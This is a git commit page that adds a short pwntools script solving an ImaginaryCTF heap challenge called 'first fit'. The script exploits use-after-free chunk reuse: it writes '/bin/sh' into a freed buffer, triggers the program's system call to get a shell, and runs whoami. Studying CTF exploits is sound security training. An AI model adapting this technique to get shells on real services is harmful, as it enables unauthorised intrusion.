vee1e/Write-ups
1
0
Fork 0
mirror of https://github.com/vee1e/Write-ups.git synced 2026-09-01 11:08:39 +00:00
Code Issues Projects Releases Packages Wiki Activity Actions

Merge pull request #10 from Cryptonite-MIT/rajat

Browse source 
priv esc chal imaginary
This commit is contained in:
Sohom Datta 2021-10-02 01:31:33 +05:30 • committed by GitHub
commit b25b091bf5
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 25 additions and 0 deletions
Download patch file Download diff file Expand all files Collapse all files

25
misc/first_fit.py Normal file
View file

@ -0,0 +1,25 @@
from pwn import *
r = remote("chal.imaginaryctf.org", 42003)
# for i in range(0,7):
r.recvuntil('1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ')
r.sendline("1")
r.recvuntil("What do I malloc?\n(1) a\n(2) b\n>> ")
r.sendline("1")
r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
r.sendline("3")
r.recvuntil(">> ")
r.sendline("/bin/sh")
r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
r.sendline("2")
r.recvuntil("What do I free?\n(1) a\n(2) b\n>> ")
r.sendline("1")
r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
r.sendline("1")
r.recvuntil("What do I malloc?\n(1) a\n(2) b\n>> ")
r.sendline("2")
r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
r.sendline("4")
r.sendline("whoami")
print(r.recvline())
r.close()